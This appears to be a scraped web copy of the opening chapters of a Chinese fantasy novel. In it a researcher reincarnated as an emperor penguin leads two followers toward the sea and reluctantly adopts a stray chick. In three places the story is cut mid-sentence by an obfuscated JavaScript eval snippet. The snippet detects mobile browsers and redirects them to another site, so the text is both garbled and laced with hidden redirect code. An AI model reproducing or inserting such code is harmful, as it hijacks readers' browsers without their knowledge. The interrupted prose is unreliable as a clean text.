《当动物首领,但带崽男妈妈[快穿]》 1. 南极帝企鹅·生命赞歌(1) “我老大敢跟大王乌贼抢鱼吃!” “我老大敢在海豹头顶拉屎!” “我老大敢、敢,他敢跟虎鲸对骂!” …… 两只帝企鹅一边在冰面上快速滑行,一边斗嘴。 潘步就是他俩攀比吹牛的“最强”老大,实际上,他什么都不敢,他甚至都没真正意义上见过大王乌贼和虎鲸! 因为,穿成帝企鹅后,他就还没去过大海。 没去大海捕猎,就只能一直挨饿,一直挨饿,一直挨饿……已经饿了快三个月,他都要饿疯了! 虽然帝企鹅是南极“扛饿王”,最长不进食的记录是四个月,但这非常看个体,一般帝企鹅超过两个月不进食就可能会死。 帝企鹅这日子,真不是人过的! 他原本是南极科考站的科研人员,一场突如其来的暴风雪终止了他的科研生涯。 再次睁开眼,他就变成了一只帝企鹅,跟自己的族群挤在一起抵抗南极的严寒。 起初,他觉得肯定是幻觉,或者做梦之类的,主要这也太猎奇了,人怎么可能会变成帝企鹅呢? 他等啊等,等自己清醒过来,等幻觉消失,变回人类,但始终没有等到。 于是,不得不接受——他真的变成了一只帝企鹅! “诶,不对,我们不是同一个老大吗!” “对哦,那就是我们老大最最最厉害!” …… 潘步同样用肚皮在冰面上快速滑行,听着两个小弟如此“睿智”的对话,还挺解闷。 没办法,企鹅就这么笨笨呆呆的,根本没有脑子这个东西。 现在他只想赶紧找到最快去大海的路,然后狼吞虎咽吃个够,把肚子吃的滚圆滚圆! 呼呼呼…… 天空不断传来巨大翅膀扇动的声音。 他仰头一看,果然是巨鹱。 巨鹱是企鹅的天敌之一,也是南极最大的鸟,翼展可达两米,主要食腐,也吃企鹅幼崽。 两小弟立马对着天空嘎嘎大叫:“滚开,我们永远都不会死,臭鸟,滚滚滚!” 巨鹱飞到他们头顶,发出满是嘲讽的尖锐鸣叫: “你们的老大就是废物,跟这种废物垃圾混,你们都得死,垃圾老大,废物点心……” 巨鹱故意激怒他们,只要他们生气,追着去打巨鹱,就会更快饿死或者冻死。 潘步只想赶紧弄走巨鹱,他仍旧快速滑行,甚至高兴的摆动毛茸茸小短尾,十分优雅的嘎嘎叫: “谢谢夸奖,很幸运荣登最废物首领宝座,以下是我的获奖感言,首先感谢南极tv,感谢族群,感谢我的小弟们,感谢……” 巨鹱:叽里咕噜说啥呢,快死掉,给我吃! 虽然帝企鹅都这样,轻易激怒不了,但被骂都当夸奖,巨鹱是真没见过。 两个小弟骂着巨鹱,还不忘争宠: “臭鸟,腐肉吃多了,嘴臭的要死,还有,老大最喜欢的小弟,是我!是我!” “明明是我,就是我!你排我后面去!” …… 巨鹱没受过这种气,骂骂咧咧的飞走了。 潘步心里明白,巨鹱说的没错,他的族群最小,领地距离大海最远,不仅他是最废的首领,他的族群也是最弱的帝企鹅族群。 但他还是坚定的认为,他和族群都非常伟大! 每一只帝企鹅,都非常伟大! 南极这种生命禁区,地狱级生存难度,能刷南极副本的动物,谁都了不起! 好吧,也包括臭鸟巨鹱。 更何况,作为南极食物链底端的帝企鹅,能多活一天,那都很棒棒了好吗! 他嘎嘎叫着激励两小弟:“滑快一点,再快一点,冲啊!冲冲冲……” 两个小弟立马加速冲,其中一个还超过了他。 砰的一声闷响。 潘步只感到一股强大的推背感,接着就被一个毛茸茸软乎乎的东西给顶了起来,还带着往前滑了点。 低头一看,头号小弟,正在他的身下。 头号小弟阿沙挺了挺饿扁的肚子,十分抱歉的说:“老大,对不起,我又没控制好速度。” 阿沙总是这样冒冒失失的,经常将身边的鹅,撞个大马趴。 二号小弟阿慢听见身后的动静,赶紧滑了回来,用翅膀扑扑扇,愤怒的嘎嘎叫: “没用的东西,你又撞到老大了,打你打你,气死我啦……” 潘步只感到自己的屁股被扇的火辣辣的。 二号小弟眼神不太好使,误扇、误踩、误啄……都是家常便饭。 屁股被扇的有点过热,也只是平静的提醒:“你打的,是我。” 无论作为人类还是帝企鹅,他看上去都情绪异常稳定,其实是真没招了。 科研申请不到经费,帝企鹅呆呆笨笨,都一样。 潘步:……如果你惹火了我,那我就变的火辣辣! 阿慢无比愧疚的叽叽叫:“对不起,老大,我没看清,对不起,我给你揉揉。” “不用,不用!”他说着,赶紧从一号小弟身上跳了下来。 冰面太滑,摇摇晃晃好一阵,终于站稳。 他迎着南极无情的寒风,挺起胸膛,下令:“继续赶路。” 两小弟没听到老大的指令,还举着翅膀互扇,互相埋怨。 笃笃笃—— 他不得不用喙啄了两小弟的脑袋几下,厉声下令: “我说,快点赶路!你们,尔多隆吗!” 两小弟立马老实了,飞速滑了出去。 潘步滑的更快,他只有一个目标——大海! 他快饿死了,帝企鹅的本能,让他疯狂想吃: 汩汩冒油超级肥美的小鱼儿,渣渣脆无敌鲜甜的虾蟹,最最Q弹劲道的小鱿鱼…… 就算是糊嗓子眼的藻类也好,哪怕是还不够塞牙缝的浮游生物都好! 他们就这样一直在无边无际的冰面上,滑啊滑,走啊走,跳啊跳。 极光和天光将南极的永夜照的亮如白昼。 周围一片寂静,只有无尽的纯白,以及三只帝企鹅摇摇摆摆的身影。 不知过了多久,潘步忽然听见巨大的嘶吼怪叫声从远处传来! “呼呼呼,歘歘歘,簌簌簌……” 帝企鹅都再熟悉不过,这是暴风雪极速逼近的声音,是死亡来临的声音。 “跟紧我,快,找个雪洞躲起来!”潘步一边大喊着滑行,一边环顾四周寻找。 两个小弟也不停嘎嘎大叫,回应着老大。 瞬息之间,白毛风遁地而起,疾风夹着大雪,能见度极低。 南极的暴风雪,在极短的时间内,风速可以达到及其恐怖的250km/h,温度降至零下70摄氏度! 他们已经很难控制方向,只能顺着暴风雪滑行。 潘步能听见两小弟的声音就在身边,但能见度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886631|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太低,他看不见他们,更加看不见周围的一切。 就这伸手不见翅膀的能见度,别说找雪洞,找个冰山撞死,都够呛能找到! “老大,能跟你混,我的鹅生圆满了,死也开心。” “老大,你就是最最好的老大,爱你老大,下辈子还跟你!” “暴风雪来的更猛烈些吧,帝企鹅,永不屈服!” …… 潘步很佩服帝企鹅的超绝好心态。 哪怕是直面死亡,也能嘎嘎高歌! 可能是因为南极生存条件实在太极端,帝企鹅是真没招了,才会呈现出一种平静的疯感。 爱咋咋的吧,怂一秒,我不叫帝企鹅! 潘步从来就不怕死,但在死前一秒,他都不会放弃生的希望。 他不停的寻找,在几乎快失去意识时,隐约看见不远处闪着幽蓝的光! 幽蓝色的光芒,堪称帝企鹅的生.命.之.光,证明那里有挺深的洞穴,再大的暴风雪都顶得住。 “雪洞,快,跟我来,阿沙,阿慢,坚持住,跟紧我……” 潘步不停的嘎嘎大叫,只为了在漫天风雪中,让两小弟能根据他的声音,找到他所在的方向。 两小弟已经没有力气回应,只能发出虚弱的叽叽声,竭尽全力追随老大。 潘步极力控制着自己的身体,借着暴风雪的助力,往幽蓝的光点滑去。 风速太快,更准确的说是,砸去! 帝企鹅是南极滑行王者,凭借高超的技艺,他精准的将自己投射进了幽蓝的光点里。 砰的一声闷响! 直接砸到了洞穴的最里面。 他顾不得浑身的疼痛,赶忙往外滑,趴在洞口不停大叫: “阿沙,阿慢,在这里,快过来,阿沙,阿慢,别吓我,快滑过来啊……” 回应他的只有暴风雪恐怖的怪叫。 不知不觉,他的声音颤抖的越来越厉害: “阿沙、阿慢,求求你们,别死,别、别丢下我一个人,呜呜一个鹅,不许死,快过来,这是命令……” 嗖,嗖,咚,咚!!! 两道残影从他眼前飞了过去,像两枚肉丸狠狠嵌在雪壁上,扣都扣不下来。 他赶忙滑了进去,急问:“你、你们,没事吧?” 两小弟有气无力的说:“没、没事,老大,你真、真厉害,这都能找到……” 他急忙又问:“还能下来吗?我把周围的雪啄松一点!” 两小弟立马挥舞翅膀,用爪子猛蹬,挣扎着滚了下来。 他们凑到老大的面前,用喙蹭着老大的脖颈,紧紧依偎在一起,互相取暖。 这种雪洞,对帝企鹅来说,简直就是天堂,不再受到暴风雪的摧残,他们很快就恢复了活力。 暴风雪至少要半天才会停,他们正好可以好好休息一下,睡醒再赶路。 听着外面疾风的呼啸怪叫,潘步很快就睡着了。 也不知过了多久,他感觉好像有什么东西在往自己身体里面钻。 他确定这是活物,不管是啥,他都要饿疯了,那就是送上门的外卖。 该不会是那臭鸟杀回来了吧?! 他赶紧用喙掀开雪白厚实的腹部羽毛,往下一看。 当即愣住。 两小弟早被动静吵醒,好奇的趴在了老大的脚边,目不转睛的盯着。 “老大,这怎么可能啊,我不是看花眼了吧!” 2. 南极帝企鹅·生命赞歌(2) 一只毛茸茸圆滚滚的灰白糯米团子蜷缩在他的育儿袋里。 这里距离任何一个帝企鹅族群都很远,怎么可能有幼崽? 更何况,这么大的暴风雪,幼崽独自在外怎么活下来的?! 阿慢用喙戳了戳小家伙,大吃一惊的往后退了两步,大叫着说: “啊啊啊,活的,他是活的,肉嘟嘟的,不是飘来的幼崽毛……” 南极的冬季会有很多幼崽死亡,如果是被巨鹱吃掉,就只会剩下绒毛,在暴风雪天气里到处乱飞。 阿慢眼神不好,雪洞里更看不清楚,才会以为是幼崽的毛钻到了老大的育儿袋。 “呵呵,瞎子真招笑。” 阿沙逮住机会就要嘲讽阿慢,这是两鹅的日常娱乐活动,嘲讽完他一边用喙将崽子往外扒拉一边凶巴巴的说: “喂,小崽子,快出来,你的族群呢,你怎么跑来这里的?” 糯米团子被吓的又往里挤了挤,只露出小小的脑袋,不停用小脑袋蹭着潘步的大爪子,用幼崽独有的糯叽叽的声音轻叫: “麻麻,麻麻,麻麻……” 潘步立马纠正:“首先,我不是你妈妈,其次,我是雄企鹅!” 糯米团子看上去已经被暴风雪整的晕乎乎的,还是不停的蹭着他的爪子,不停的喊妈妈。 阿沙嘀咕着:“该不会是个傻的吧?崽子再小也知道爸爸才有育儿袋啊!” 潘步往外望了望,狠心道:“崽子,等暴风雪停了,我们就要赶路,你哪儿来的,回哪儿去,我带不了你。” 阿慢又用喙戳了戳幼崽,声音有些无法自控的颤抖: “崽崽,对不起,我们真的不能带你,我们要为族群找到最快去海里的路,否则我们族群的所有幼崽都会饿死……” 阿慢最喜欢幼崽,他不忍心抛弃崽子,但实在没办法。 其实所有帝企鹅都很喜欢幼崽,甚至会抢崽子养,但那是在深冬,且是在族群里,任何一个条件不满足,都不行。 现在冬季已经快结束了,就算是在族群里,都几乎没有帝企鹅会再去养别鹅的崽。 任何动物首先是要保证自己能活着,自己都要饿死了,有的甚至会抛弃亲生崽子。 潘步用喙将崽子往育儿袋里拢了拢,他能提供的,只有最后的这点温暖。 幼崽不再叽叽叫,变的特别安静,仿佛在享受这最后的安稳。 潘步从来不知道,崽子还能这么乖巧! 经过这几个月在族群的生活,以及路过的所有族群,每一只幼崽都非常闹腾,整天叽叽叫个不停,在育儿袋里也从不安生。 这个崽子似乎在刻意表现乖巧,也许是为了让他们觉得,他很乖很懂事,带着很省心。 潘步忽然有些触动。 但这点触动完全抵抗不过现实。 也不知过了多久,外面不再传来怪叫。 暴风雪终于停了。 潘步用喙啄住幼崽最厚实的小短尾,狠心将崽子从育儿袋里拽了出来。 他什么也没说,头也不回的滑出了雪洞,两个小弟自然立马跟了上去。 幼崽寸步不离的跟在他们身后。 潘步不得不停了下来,用翅膀指着帝企鹅族群聚居的内陆方向,异常凶狠的喊叫: “去那边找族群,掉头,走那边!跟着我们,你只有死路一条!” 幼崽还是不停的蹭着他的大爪子,连叫声都变的特别小心翼翼。 潘步再次头也不回的滑走了,明知道崽子在身后狂追,他却越滑越快。 余光里,崽子发疯一般的追赶,好似怕叫声让他们烦,多次张嘴,却一声都没叫。 那么小小的一团,拼尽全力,只是想为自己找到一丝活命的机会。 阿慢一边往后看一边惊叹:“哇,老大,崽子滑的好快,都要追上我们了!” 潘步也觉得有些不可思议,这是他见过速度最快、体力最好的幼崽。 阿沙急忙说:“老大,你可不能心软啊,族群还等我们回去呢,晚一天,族群的幼崽就会多死几个……” 潘步承认自己心软过,但从未有过要养这个崽子的想法。 而且,拿什么养崽子,他自己都要饿死了! 他掉头滑到崽子的身边,抬起翅膀,却还是没忍心扇下去,只是恶狠狠的说: “小崽子,不许再跟着我们!想活命,就掉头回去找族群!滚!别再让我看见你!否则,我就把你丢去冰洞,被海豹活吃!” 这是他能对一个幼崽说出的最狠的话。 阿沙添油加醋的说:“小崽子,海豹超可怕的哦,会一点点撕开你的皮毛,吃你的肉,喝你的血!超痛的!” 幼崽眼里没有丝毫的恐惧,只是用无比软糯的声音叽叽叫。 阿慢连忙安慰:“崽子,快回去找族群吧。” 潘步再再次头也不回的滑走,毫无意外,幼崽还是在后面追。 他已经下定决心不再管,不断加快速度滑行。 幼崽脱离族群后就是会死粘着任何一个遇到的成年帝企鹅,这是他们唯一的求生方式。 他以为很快就能摆脱这崽子,但无论他们多快,崽子竟然都能跟得上! 也许是求生的意志太强,也许是这崽子太强,总之这样的速度,绝对不应该出现在一个幼崽身上! 这样下去,他们甩不掉崽子的,他也无法眼睁睁的看着幼崽因为追他们,追到活活累死。 他没有停下来,只是下令:“把他赶去族群的方向,他跟来多少次,你们就赶多少次!” 两个小弟得令后,立即掉头回去,挥舞着翅膀,凶巴巴的驱赶。 也不知赶了多少次,直到他们看见幼崽朝着族群方向而去。 余光中,那个小小的糯米团子越来越远,直到再也看不见。 阿慢紧贴着老大滑行,安慰:“小崽子滑的好快,他那么厉害,一定可以找到最近的族群!” 潘步只是点了点头。 长久的寂静。 他们心里都明白,这里距离任何一个族群都已经太远太远,就算那崽子再厉害也回不去。 可是,跟着他们更加死路一条! 至少,回去找族群比跟着他们,活下来的可能性增加0.000000001%。 帝企鹅幼崽的存活率还不足20%,死亡太稀疏平常。 他们前行了很久很久很久,极光始终相伴。 “哇哦,老大,你快看,冰洞!”两个小弟异口同声的叫了起来。 “别靠近!”潘步说着,一点点的靠近冰洞,在豹海豹捕猎的极限范围边缘停下。 这个冰洞直径足有好几米,漂浮着很多碎冰,碧蓝碧蓝,水面异常平静。 水蓝则广。 证明这个冰洞一定可以通往大海。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886632|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿沙拼命吞咽着口水,说:“老大,我们下去抓点鱼吃吧,哪怕吃点水藻啥的,也行,老大,我控制不了我自己……” 潘步伸出翅膀挡住了小弟继续往前的步伐,厉声道:“你不要命啦!族群还等我们回去!” 阿慢沉思道:“老大,不如,我们就带族群从这个冰洞去大海,可以节省很多路程。” 潘步摇了摇头。 从这个冰洞去大海,就意味着,牺牲族群的部分成年企鹅,换取幼崽多活下来一些。 海豹是一定会守在这类可以通往大海的冰洞下的,但海豹吃不下那么多企鹅,最先下水的喂饱了海豹,其余的就安全了。 从冰洞去大海,可以大大节约时间,族群饿死的幼崽自然就变少了。 但作为首领,他只想竭尽全力的保全族群的每一个。 潘步最后看了一眼冰洞,说:“走吧,继续探路。” 扑通一声巨响。 只见巨大无比如同怪兽的豹海豹从水面一跃而出,张开血盆大口,以迅雷不及掩耳之势扑了过来! 根本没有反应时间。 海豹目标非常明确,直冲着最靠近冰洞的企鹅。 阿沙早就吓傻了,想跑,但极度的恐惧让他的身体动也不能动。 潘步急忙用翅膀猛的扇倒阿沙,同时大喊:“快跑,快滑走!” 阿沙在惯性的驱使下滑了出去,回头一看,只见海豹的血盆大口已经咬住了自己的尾巴尖儿,直接扯下了一戳毛! 海豹差点就捕猎成功,气的嗷嗷叫,也只能雇涌回冰洞。 潘步带着两个小弟滑到了绝对安全的距离,这才终于松了一口气。 阿沙死里逃生,不停的用喙蹭着老大的爪子,叽叽叫着说: “老大,呜呜,我差点,差点就被吃掉了,老大,你又又又救了我……” 潘步蹭着小弟的脖颈安慰:“别怕,好了,没事了。” 这时,传来非常奇怪的叫声:“麻麻,麻麻,你去哪里了,呜呜,我妈咪呢,我要妈咪……” 潘步被吓的一激灵,还以为是那只企鹅幼崽又追了过来。 仔细一听,才听出,叫声是冰洞下传来的,是鲸鸣,但完全无法判断是哪种鲸发出的。 他的毕业论文就是研究各类鲸鱼的叫声,他能根据其中细微的差别,分析出种类,甚至族群。 企鹅的听力比人类好上千万倍,比任何科技设备更好用,所有频率,都能听的非常清楚。 鲸鸣都非常轻盈空灵,幼崽也一样,只是频率低而已。 如此奇特的鲸鸣,实属罕见! 鲸崽撕心裂肺的呼救:“妈咪,我找不到回家的路了,妈咪呜呜……” 这么偏的冰洞,没有母鲸引路,一旦游错方向,没地方换气,这崽子必死无疑。 潘步下意识的嘎嘎叫着回应:“崽子,仔细感受水流的方向,顺着水流方向游,就能找到你的妈妈!” 幼崽惊喜不已:“妈咪,你是我妈咪吗!妈咪,我知道啦!我来啦!” 他没有再做任何回应。 鲸鸣越来越远,是往大海的方向去了。 阿沙不解的问:“老大,那是什么东西的幼崽啊,叫声好奇怪。” 他摇了摇头,带着小弟们继续赶路。 潘步:……不是,我一个公企鹅,天天被叫麻麻、妈咪的,这对吗! 3. 南极帝企鹅·生命赞歌(3) “老大,我们真要从噩梦沙滩去海里吗,那些大怪兽会把我们压成肉泥的……” “压成肉泥就算了,他们那么脏,那么丑,身上黏糊糊的,啊啊啊光想想就恶心!” “以前海滩不会被大怪兽占满,走边缘就行,但这些年,海滩上是真一点儿缝隙也没有,都找不到地方下爪子。” “才不是没缝隙,可以挤过去,你就是嫌脏,呵呵,都要被压死了,还管那么多!再说,你个瞎子,你又看不清!去海里不就洗干净了啊!” …… 两个弟吵的很厉害,他也懒得管,赶路的时候,听他俩吵架,是他唯一的乐趣。 唧唧喳!喳喳喳—— 巨鹱的尖锐鸣叫从前面的冰山处传来。 冰山后跑出一只帝企鹅幼崽,巨鹱飞的极快,冲着幼崽张开了巨爪。 潘步简直不敢相信自己的眼睛! 他确定以及肯定,这就是之前叫他麻麻的那个幼崽。 这崽子不是被赶去族群的方向了吗,就算又偷偷跑回来,一个幼崽,怎么可能比他们的速度还快,竟然跑到了他们的前面?! 眼见着巨鹱如同钢刀一般的利爪已经快触碰到崽子的尾巴。 他再也顾不得别的,用生平最快的速度滑过去,将幼崽压在身下,带着继续滑了一段,才停下来。 巨鹱扑了个空,重重摔在冰面上,肚子上的毛都蹭掉了一片。 阿沙和阿慢立马冲了上去,用坚硬的喙狠狠啄,用翅膀猛猛扇,大骂: “臭鸟,怎么没摔死你,打死、啄死你,让你吃我们的崽子,臭鸟,烂鸟,死鸟……” 大多数情况下,巨鹱干不过成年帝企鹅。 成年帝企鹅身高可达一米三以上,体重90斤左右。 巨鹱身长一米,体重不过十斤左右,就算翼展两米,飞行能力强,也根本抓不起成年帝企鹅。 这只巨鹱还摔的不轻,更加不是他们的对手。 即便差点就捕猎成功,让巨鹱懊恼不已,却也不敢恋战,更不敢硬抢。 只能发出凄厉的鸣叫,拍拍翅膀,飞走了。 阿沙和阿慢自然没去追,都懒得再浪费力气骂,赶紧去看崽子。 潘步已经检查了崽子的全身,除了绒毛被蹭掉了一些,竟然完全没受伤。 崽子软糯糯的叫:“我、我不是故意的,回族群太远……” 阿沙急忙问:“也不对啊,你怎么比我们还快?!你怎么跑到前面去的?奇怪了,也没别的近路啊!” 崽子太惧怕再被驱赶,连忙又说:“让我跟着就行,可以吗?大鸟越来越多,我躲不过来了……” 巨鹱等海鸟的窝基本都在沿海,这里距离大海已经比较近。 这也是帝企鹅宁愿长途跋涉去海里捕猎,也要把繁殖地选在距离大海很远的冰原内陆的原因之一。 若是繁殖地在沿海,大部分崽子会被各种海鸟吃掉,成年帝企鹅不可能时时刻刻保护幼崽。 潘步严肃道:“可以跟着我们,但累了,慢了,跟不上,我们不会等你。” 崽子拼命用力的点头。 “不是,老大,我们真不能带崽子,让他跟,我们就没法丢下他不管了!” “万一再遇到点别的啥,这里耽误一下,那里耽误一下,族群的幼崽都要饿死完了。” “老大,你清醒点啊,本来我们探路就时间紧迫啊!” …… 这一次,阿沙和阿慢没有吵架,他们都强烈反对带上崽子。 两个小弟说的一点儿没错。 帝企鹅一旦跟幼崽产生感情,就很难割舍。 帝企鹅作为南极食物链底端,随时都会丧命。 更何况是他们这种为族群探路的先锋鹅,危险更是一个接一个,根本停不下来。 他们自身都难保,还带什么崽子。 潘步看向幼崽,眼神异常坚定,只是说:“不会耽误时间,快走。” 两小弟从来都对老大言听计从,这次也不例外,再想争辩,也还是选择闭嘴。 他们继续出发,将崽子护在中间,滑行的速度越来越快,丝毫没有迁就幼崽。 潘步观察的很仔细。 这崽子非常聪明,会借助地形帮自己省力,有时比他们还快。 阿慢和阿沙仍旧总是吵架,但都会不经意间用自己的身体推崽子一下,帮崽子滑一段。 崽子非常专注的赶路,几乎不发出任何声音,好似尽量把自己“隐藏”起来,不让他们觉得,带着他太麻烦。 天空中盘旋的各种海鸟,越来越多,都想捕猎企鹅幼崽,但有三只成年帝企鹅在旁边,实在找不到机会,只能暂时放弃。 极光不停变幻,大大小小的冰山不断后退。 猛的吸气,隐约可以嗅见,寒风中带有丝丝缕缕大海的气息。 终于,他们的体力都已经达到了极限,不得不停下来休憩片刻。 崽子早就体力透支,停下来立马就趴在了冰面上,连动一下的力气也没有了 。 阿沙和阿慢都觉得太不可思议,不住的夸赞——崽子的速度、耐力实在太强! 潘步尝试着刺激喉咙里的特殊腺体。 没一会儿,只感到异常浓稠甘甜的“企鹅奶”越积越多。 雄企鹅天然就会这种独特的产奶方式,只要雄企鹅愿意,都能“产奶”。 啪嗒。 一坨乳白色及其浓稠的“企鹅奶”落在了幼崽面前。 崽子愣了愣,仰头望着面前无比高大的雄企鹅。 潘步催促道:“赶紧吃,别冻住了。” 崽子立马狼吞虎咽起来,瞬息之间,就吃的一干二净。 这块冰面都被舔了一遍又一遍,舔到化了一层冰,再尝不到丝毫的味道。 崽子眼里湿漉漉的,不停的用喙蹭着他的大爪子,表达感谢。 冰面被舔的太滑,崽子立马表演平地摔,蹭着蹭着就摔在了他的大爪子上。 摔了就索性整个身体都躺在他的爪子上蹭啊蹭,不愿意起来。 被小小的一团毛茸茸蹭爪子,实在很舒服。 崽子蹭着蹭着就把小小的脑袋深深埋进他雪白厚实的毛里,扎进去就不愿意出来,每次都这样。 这一路以来,崽子都表现的很像一个“小大人”,但崽子毕竟是崽子,再怎么“装大鹅”也不像,一举一动都可爱的紧。 潘步看见两个小弟的喉咙起起伏伏,连忙说:“先不用你们,省着点,等崽子饿的不行了,再喂。” “对对对,老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886633|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是你想的周到!” “老大,下次我来喂,我要比他先喂崽子。” “呵呵,崽子吃了你的奶,不会变瞎子吧!” “那崽子吃了你的奶,总是撞鹅,总是摔倒,怎么办。” …… 潘步被吵的有点头疼,无奈道:“别争了,都喂,有奶就不错了。” 这种奶实际上就是雄企鹅胃里的食物,一旦食物被消化殆尽,便再也没有奶。 企鹅的胃非常特殊,相当于一个超级保鲜的冰柜,储藏食物一绝。 正因为有这样的胃,企鹅爸妈才能从海里给幼崽带很多鱼回来,雄企鹅才能在冬季硬生生纯饿几个月,还能产奶给幼崽吃。 潘步用喙把崽子往自己的育儿袋里推了推,说:“赶紧休息。” 崽子立马钻了进去,又探出了一个小脑袋,小心翼翼的问:“爸爸,我可以叫你爸爸吗?” 潘步严肃道:“不行,我不是你爸爸。” “那麻麻呢?” “更不行!我是雄企鹅,要我说几遍!” 崽子很不解,又不敢再问,只能将自己缩成一团,藏进育儿袋里睡觉。 成年帝企鹅更喜欢站着睡觉,耷拉着脑袋,进入浅眠,随时观察周围情况。 这段时间以来,他越来越喜欢有崽子在育儿袋里。 帝企鹅的育儿袋是布满血管的紫色皮肤,保暖效果特别好,幼崽的体温让里面更加暖和,从里到外都热气腾腾。 自从离开族群,他从未感到,如此温暖,比在族群中央,还要暖和! 崽子偶尔会动来动去,无比柔软的绒毛在身体里打转,比把脸埋在最香最软的猫咪肚子上狂吸,还要爽一万倍! 并且,有崽子在育儿袋里,还可以更好的保持平衡,睡的更香。 帝企鹅不需要长时间睡眠,体力恢复后,他们立马又继续赶路。 …… 终于,远远的看见了大海! 又滑了许久,不停的加速,没有片刻休息。 终于来到海岸边,但这里太陡峭,海浪将岩壁拍打的异常光滑,别说企鹅,海鸟都站不住。 一阵狂风袭来,掀起惊涛骇浪,却也只打湿了一半的崖壁。 这代表,他们想借助涨潮,趁着大浪入海,也行不通。 潘步正望着大海犯愁呢,一团绒毛飞到了眼前。 他看向崽子的肚皮,确实更秃了,只剩下极薄的一层绒毛,新长出来的毛,短到可以忽略不计。 幼崽的绒毛扛不住长时间滑行,只有成年帝企鹅的陵羽才防水又抗磨。 他早就注意到崽子肚皮上接触冰面最多的那块毛磨损很严重,能撑到现在,已经很不错。 可还要继续找入海的路,还要返回族群。 必须想个办法,否则等最后这层绒毛磨掉,滑行时就会磨烂皮肉,那将必死无疑。 潘步无比轻柔的蹭了蹭崽子的小脑袋,眼睛却始终没有离开过磨秃的肚皮。 崽子下意识的想用翅膀挡住自己的肚子,但他的翅膀太短,一点儿都挡不住。 “我、我的毛很厚、很厚,掉了的,也会很快长出来!真的,很厚,很厚……” 崽子小心翼翼的解释,紧张的不知道该怎么办才好。 4. 南极帝企鹅·生命赞歌(4) 潘步用喙蹭了蹭崽子仰起的小脑袋,勉强算作安慰鼓励。 其实他已经想到办法解决这个问题。 只要找到比较完整的成年企鹅皮毛,啄个洞挂在崽子的身上,就能在滑行时,防止崽子自己的皮毛被磨损。 海边到处都是各种企鹅皮毛,海豹、虎鲸等捕猎吃掉企鹅时,都会扯掉皮毛。 但较为完整的皮毛比较罕见,全都是撕的稀碎的,根本没法用。 他几乎从不许诺,只用行动解决问题。 更何况是这种,他没有十足把握能搞定的事。 若是给了希望,又只剩绝望,实在太残忍。 两小弟望着大海,愁道:“老大,这也下不去啊,前些年,明明可以从这里下海的……” 每年下海的路况都有很多变化,这就是他们探路的意义,为整个族群节约时间,减少伤亡。 潘步道:“我们沿着海岸线找,总能找到适合下海的地方。” 他们一边寻找,一边仔细观察大海里各种天敌的捕猎情况。 潘步还多了一项任务,寻找较为完整的皮毛,他甚至已经不局限在企鹅皮毛,任何较完整的皮毛都行。 这片沿海区域非常热闹。 海豚群在逐浪玩耍,过客虎鲸群在捕猎,居留虎鲸正在教幼崽学习搁浅捕猎技巧,白鲸群在浅海区的沙子里磨全身的死皮…… 潘步还是第一次真正以帝企鹅的视角,见到大海,见到各种海洋生物。 全都超出了他的认知范围,全都巨大到离奇! 以前,作为科研人员,他经常接触海洋动物,大部分都及其可爱,特别是虎鲸、海豚等长在人类审美点上的动物。 而现在,作为帝企鹅,他只觉得——不吃企鹅的都超棒,吃企鹅的都超坏! “吼吼吼……” 无数异常低沉、粗犷、富有节奏的吼叫声传了过来。 帝企鹅很熟悉这种吼声,即便被冰山挡住视线,他们也知道是无数象海豹正在打架求偶。 象海豹特别巨大,长鼻子里堵满白色油脂,浑身都很脏,长相很丑,总被企鹅骂大怪兽。 转过一个海湾后。 他们不约而同的瞪大了眼睛,愣在原地。 这片最好下海的沙滩上,密密麻麻挤满了无数的象海豹! 阿沙和阿慢绝望的嘎嘎叫: “老大,我没看错吧,这也太恐怖了!噩梦海滩怎么更噩梦了!” “不是,以前也没这么多啊,这回真一点儿空隙都没有,我们咋去大海啊。” …… 潘步走到了这片沙滩边缘的礁石群旁,摇摇摆摆、蹦蹦跳跳的站在了最高的礁石上。 两个小弟带着崽子跟了上来,小弟们很会照顾幼崽,他不用担心。 站得高,看得远,他需要仔细观察整个象海豹群。 战况非常激烈,整片海滩都已经变成了血红色,每一只雄性象海豹都在浴血奋战。 砰砰砰! 蛮力冲撞! 泰山压顶! 象海豹唯二的打架招式,就是不停的用自己无比庞大的身躯撞击对手,撞到血肉模糊,或者压死对手。 最终的胜利者,少则可以拥有几个雌性,多则可以拥有几十个雌性。 雌性象海豹不用打架,但因为太拥挤,鲜血还是不可避免的蹭到、溅到她们的身上。 因此,看上去,所有象海豹都浑身是血,整片沙滩都陷入了混战。 实际上,雌性只需要观战,筛选更加健壮的雄性,以保证将来能产下基因更好的幼崽。 